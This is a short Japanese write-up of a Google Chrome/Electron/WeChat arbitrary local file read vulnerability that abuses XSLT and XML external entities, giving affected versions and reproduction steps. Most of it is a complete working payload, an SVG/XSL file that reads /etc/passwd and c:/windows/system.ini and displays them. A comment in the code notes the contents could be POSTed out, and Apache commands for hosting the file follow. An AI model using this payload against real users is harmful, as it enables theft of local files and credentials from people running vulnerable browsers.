Google Chrome 任意ファイル読み取り
脆弱性の原理:最初のエンティティ宣言で外部エンティティを参照することはブロックされますが、自身を外部 XML ドキュメントとして含めた後、2 回目のエンティティ宣言で外部エンティティを参照し、2 回の参照の形式が互換性があり、エラーが発生しない場合、ブロックを回避してローカルファイルを読み取ることができます。
利用条件:
Chrome バージョン < 116.0.5845.96
Electrom バージョン < 26.1.0
WeChat Mac バージョン < 3.8.5.17
必要条件:サンドボックスモードを無効にする
再現環境
ペイロード
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///c:/windows/system.ini">
<!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
攻撃者は Apache サービスを開始し、ペイロードを d.svg という名前で保存し、ブラウザでページにアクセスします。
systemctl start apache2
ローカルの system.ini ファイルが正常に読み取られ、この脆弱性を通じて Windows の他の機密ファイルを読み取ることができ、XXE コードを実行することができます。